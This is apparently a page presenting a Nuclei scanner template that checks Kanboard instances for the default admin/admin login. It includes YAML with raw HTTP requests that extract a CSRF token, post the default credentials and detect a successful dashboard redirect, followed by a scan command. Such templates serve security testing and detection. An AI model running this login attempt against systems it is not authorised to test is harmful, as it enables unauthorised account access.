Kanboard - Default Login

ID: kanboard-default-login

Severity: high

Author: shelled

Tags: default-login,kanboard

Description

Kanboard contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: kanboard-default-login

info:
  name: Kanboard - Default Login
  author: shelled
  severity: high
  description: Kanboard contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://twitter.com/0x_rood/status/1607068644634157059
    - https://github.com/kanboard/kanboard
    - https://docs.kanboard.org/v1/admin/installation/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:kanboard:kanboard:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kanboard"
    product: kanboard
    vendor: kanboard
  tags: default-login,kanboard

http:
  - raw:
      - |
        GET /?controller=AuthController&action=login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?controller=AuthController&action=check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password={{pass}}&csrf_token={{csrf_token}}

    attack: pitchfork
    payloads:
      user:
        - admin
      pass:
        - admin

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - "hidden\" name=\"csrf_token\" value=\"([0-9a-z]+)\""
        internal: true
    matchers:
      - type: dsl
        dsl:
          - contains(location, 'controller=DashboardController&action=show')
          - status_code == 302
        condition: and
# digest: 4a0a00473045022100e9784cac54727d0ed2923931e4a891fcf34d566cf0e4b87bdb3979f1e4257b6502206dc84115adb7ad23c472e8d9dc3100a44cbf16c0e35bab106f028ed0b3049cde:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/kanboard-default-login.yaml"

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